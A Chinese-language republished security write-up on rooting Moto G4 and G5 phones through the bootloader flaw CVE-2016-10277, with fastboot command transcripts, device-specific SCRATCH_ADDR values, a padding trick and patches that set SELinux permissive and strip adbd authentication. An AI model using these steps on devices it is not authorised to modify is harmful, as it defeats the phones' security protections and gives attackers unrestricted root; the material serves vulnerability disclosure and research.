攻击场景还原:本地ROOT Moto G4 & G5设备(附利用代码)

本文讲的是攻击场景还原:本地ROOT Moto G4 & G5设备(附利用代码),在之前的文章中,我们曾提到CVE-2016-10277可能会影响其他摩托罗拉设备。而在Twitter上收到一些相关的报告之后,我们购买了摩托罗拉的几台设备,并且更新到最新的可用版本以进行此次的测试。

Moto G4 athene XT1622,运行的系统:NPJS25.93-14.4,bootloader moto-msm8952-B1.05。
Moto G5 cedric XT1676,运行的系统:NPP25.137-33,bootloader moto-msm8937-B8.09。

前文回顾

1、摩托罗拉Android Bootloader(ABOOT)的版本漏洞允许内核命令行注入。

2、我们可以注入一个名为initrd的参数,这使我们能够迫使Linux内核从指定的物理地址来填充initramfs到rootfs。

3、我们可以为了把我们自己的恶意initramfs放置在一个已知的物理地址名为SCRATCH_ADDR(0x11000000适用于Nexus 6)而滥用ABOOT下载功能,。

4、利用此漏洞攻击者可以获得无限制的root shell。

在Moto G4&G5上验证CVE-2016-10277

验证设备确实存在该漏洞的是非常简单的,一个简单的fastboot oem config fsg-id "a androidboot.foo=bar"导致ro.boot.foo创建属性:

$ fastboot oem config fsg-id "a androidboot.foo=bar"
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a androidboot.foo=bar
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.013s]
 
$ fastboot continue
$ adb shell
cedric:/ $ getprop ro.boot.foo
bar
cedric:/ $

这证明了这个参数已被注入到cedric内核命令行中。(有类似的结果athene)

接下来,我们验证了我们可以控制initrd参数,这允许我们强制Linux内核initramfs从指定的物理地址加载。我们运行了fastboot oem config fsg-id "a initrd=0x12345678,1234",并且期望内核崩溃。事实上,它确实崩溃了!

移植到Moto G4&G5

如上所述,在我们利用此漏洞之前,需要解决两个G4&G5具体要求:

1、查找SCRATCH_ADDR引导程序使用的值。
2、创建恶意initramfs档案。

查找SCRATCH_ADDR值

加载athene的和cedric的ABOOTs在IDA中很快显示出了SCRATCH_ADDR:

 
// athene
signed int target_get_scratch_address()
{
  return 0x90000000;
}
 
// cedric
signed int target_get_scratch_address()
{
  return 0xA0100000;
}

验证SCRATCH_ADDR值

在我们进入恶意initramfs创建之前,我们想验证这些SCRATCH_ADDR的值确实是正确的,否则很难确定潜在的问题。而事实也说明了我们的这一计划非常正确,我们将在下面看到结果。

为了验证地址,我们initramfs从摩托罗拉官方固件中的引导映像中提取原始存档。然后,我们利用这个漏洞加载官方initramfs,而不是从SCRATCH_ADDR。

$ fastboot oem config fsg-id "a initrd=0x90000000,1766036"
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x90000000,1766036
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
 
OKAY [  0.015s]
finished. total time: 0.015s
 
$ fastboot flash aleph initramfs.cpio.gz
target reported max download size of 536870912 bytes
sending 'aleph' (1725 KB)...
OKAY [  1.088s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.095s
 
$ fastboot continue

显然这不是正常加载,设备也因此进入了无限的引导循环,这让我们感到很困惑。

填充Payload

然后我们进行了大胆的猜测。我们已经意识到,当我们上传initramfs到SCRATCH_ADDR中,之前ABOOT跳跃到Linux内核中,cedric的以及athene的ABOOTs会把一些其他不相关的数据放到SCRATCH_ADDR中,破坏我们的initramfs(但不是全部)。

要想克服这个困难,可以在initramfs之前进行填充数据,并相应地进行initrd调整(到 SCRATCH_ADDR + sizeof(PADDING))。因此,如果我们的假设是真实的,我们将在Linux内核执行之前具有以下内存布局:

 
.--------------------------------.----------------------.
| Physical Address               | Data                 |
|--------------------------------|----------------------|
| SCRATCH_ADDR                   | Corrupted PADDING    |
| SCRATCH_ADDR + sizeof(PADDING) | Controlled initramfs |
`--------------------------------'----------------------'

使用这种技术,通过32MB的padding(0x20000000)都解决了我们的引导循环。

为Moto G4&G5创建initramfs

在Nexus 6的环境下,为了创建一个initramfs来使adb给我们一个无限制的root shell,我们刚刚已经编译了一个AOSP userdebug图像,这样做是因为userdebug 图像拥有可以胜任的su的SELinux域,以及给定一些系统性能的adbd,不是setuid/ setgid到shell,也不放弃自己的能力,不要求授权。 

由于我们没有Moto G4和Moto G5的构建配置,我们决定采取最快的路径,修补官方initramfs档案:

1、通过Patching init,我们已经将SELinux置于permissive模式。结果代码类似于以下内容:

static void selinux_initialize(bool in_kernel_domain) {
[...]
 if (in_kernel_domain) {
[...]
     bool is_enforcing = selinux_is_enforcing();
     security_setenforce(0); // always permissive
[...]
}

2、修补adbd,使其保持为root并且不会降低其功能。(我们用NOPs 替换了相关的电话)。

3、修补adbd,不要求授权。(我们将auth_required全局设置为0)。

4、dm-verity在相关分区上禁用

5、删除了锁定的设备USB策略 init.mmi.usb.sh

6、其他

更新PoC上的可用initroot库。

做完所有这些:成功拿到root shell!

在Moto G4:

 
$ fastboot oem config fsg-id "a initrd=0x92000000,1774281"
$ fastboot flash aleph initroot-athene.cpio.gz
$ fastboot continue
$ adb shell
athene:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # getenforce
Permissive
athene:/ #

在Moto G5上:

$ fastboot flash aleph initroot-cedric.cpio.gz
$ fastboot continue$ adb shell 
cedric:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
cedric:/ # getenforce
Permissive
cedric:/ #

原文发布时间为:2017年6月16日

本文作者:Change

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-10-25 04:04:05

攻击场景还原:本地ROOT Moto G4 & G5设备(附利用代码)的相关文章

“无文件”恶意程序攻击技术还原

本文讲的是"无文件"恶意程序攻击技术还原, 最近几天,超过140家美国.南美.欧洲和非洲的银行.通讯企业和政府机构感染了一种几乎无法被检测到的极为复杂的无文件恶意程序,搞得大家异常紧张,似乎碰到了什么神秘攻击.今天就让我们跟随安全专家的脚步来一探究竟. 其实这种类型的感染并不是第一次出现,几年前卡巴斯基就曾在自己企业内部网络中发现了这种在当时前所未有的恶意程序,并将其称为Duqu 2.0.Duqu 2.0的来源则被认为是震网,是当时美国与以色列为了破坏伊朗核计划专门合作创建的一种极为复

攻击技术还原:维基解密是如何遭到黑客攻击的?

本文讲的是攻击技术还原:维基解密是如何遭到黑客攻击的?, 8 月 30 号,沙特阿拉伯黑客组织OurMine成功入侵了维基解密网站,消息已经公布,舆论顿时哗然,详情请点击此处.众所周知,维基解密 赖以成名的手段就是攻击别人来获取机密信息,没想到这次竟被人黑了一把,不知阿桑奇心理是什么滋味.下面,我就为大家来详细从技术角度还原一下维基解密是怎样被黑客攻击的. 关于被攻击的种种技术猜测 之前有些人推测,维基解密的Web服务器被破解后,破解者修改了其页面的内容(网站被替换成了"OurMine"

java 备份还原本地数据库 sql server 2005

问题描述 java 备份还原本地数据库 sql server 2005 这是用swing开发的一个界面想要点击 按钮 可以实现数据库的备份和还原本来尝试了下 但是失败了 代码如下JButton button = new JButton(""u786Eu8BA4""); button.addMouseListener(new MouseAdapter() { @Override public void mouseClicked(MouseEvent e) { try

服务器-乱码问题在本地测试没有问题,提交SVn合入代码之后在服务其上测试就不行?

问题描述 乱码问题在本地测试没有问题,提交SVn合入代码之后在服务其上测试就不行? 在前台我使用encodeURIComponent转码在后天使用String 的构造方法进行解码,然后再本地上测试没有问题,到服务器上就不行了,怎么回事? 解决方案 服务器和本地环境有什么差别?比如JRE的配置.语言配置等,本地是什么环境,服务器是什么环境? 解决方案二: 原来服务器用的是tomcat8了,本地是7

MySQL 0Day漏洞出现 该漏洞可以拿到本地Root权限 绿盟科技发布防护方案

2016年9月12日, legalhackers.com网站发布了编号为CVE-2016-6662的0day漏洞公告 .由于该漏洞可以获得MySQL服务器的Root权限,且影响MySql5.5.5.6.5.7乃至最新版本,绿盟科技安全团队发布高级威胁预警通告,这意味着该漏洞影响范围比较广,危害严重,利用难度较低,绿盟科技将在7*24小时内部应急跟踪,24小时内完成技术分析.产品升级和防护方案. 该漏洞可以允许攻击者远程向MySQL配置文件(my.cnf)注入恶意的环境配置,从而导致严重后果.该漏

路由器漏洞可致网银信息泄漏 黑客重现攻击场景

受害者连入酒店或咖啡厅等场合的正规wifi,通过搜索正常打开银行官网,输入帐号密码等信息,殊不知个人网银信息已经泄漏,被黑客一览无遗.这是0ops战队在黑客大赛GeekPwn澳门站启动会现场演绎的"盗取网银信息"场景,通过对小米路由器本身的漏洞研究,白帽黑客团队0ops实现了控制用户网络主权的攻击效果. 0ops成员现场重现攻击 路由器可谓是所有智能家居的网络入口,一旦存在高危漏洞,家庭智能设备就会轻而易举被黑客入侵.在刚刚过去不久的GeekPwn 2015黑客大赛上,来自上海交大的0

Linux系统各版本的本地root密码破解方法

(一)RedHat/CentOS/Fedora 系统密码破解 1.在grub选项菜单按E进入编辑模式 2.编辑kernel 那行最后加上S (或者Single) 3.按B,启动到single-user mode 4.进入后执行下列命令 # mount -t proc proc /proc # mount -o remount,rw / #passwd #sync #reboot (二)Debian linux 系统密码破解 ubuntu的root默认是禁止使用的,在安装的时候也没要求你设置roo

应用宝获取Root时一直处于重启设备的提示怎么办?

  这时候需要您手动重新启动一下手机,再连接手机和应用宝,此时留意Root是否成功.如果还显示没有Root,可能是暂时还不支持您这个型号的设备.

PostgreSQL 电子围栏的应用场景和性能(大疆、共享设备、菜鸟。。。)

标签 PostgreSQL , 电子围栏 , 共享自行车 , 共享充电宝 , 共享xxx , 菜鸟 , 航空管制 , 无人飞行器 , pipelinedb , 流式计算 背景 电子围栏,这个在GIS应用中非常常见的词.在很多业务场景中都可以使用: 电子围栏的常见手段是圈出一块,或者一些多边形.当被监控对象在多边形内或者多边形外时(根据业务模型),作为一个判断条件,触发一些业务规则. 1.禁飞区 玩大疆无人机的话,你一定要知道哪里是禁飞区,否则可能违法被抓,但是你可能并不知道哪里是禁飞区,还有飞行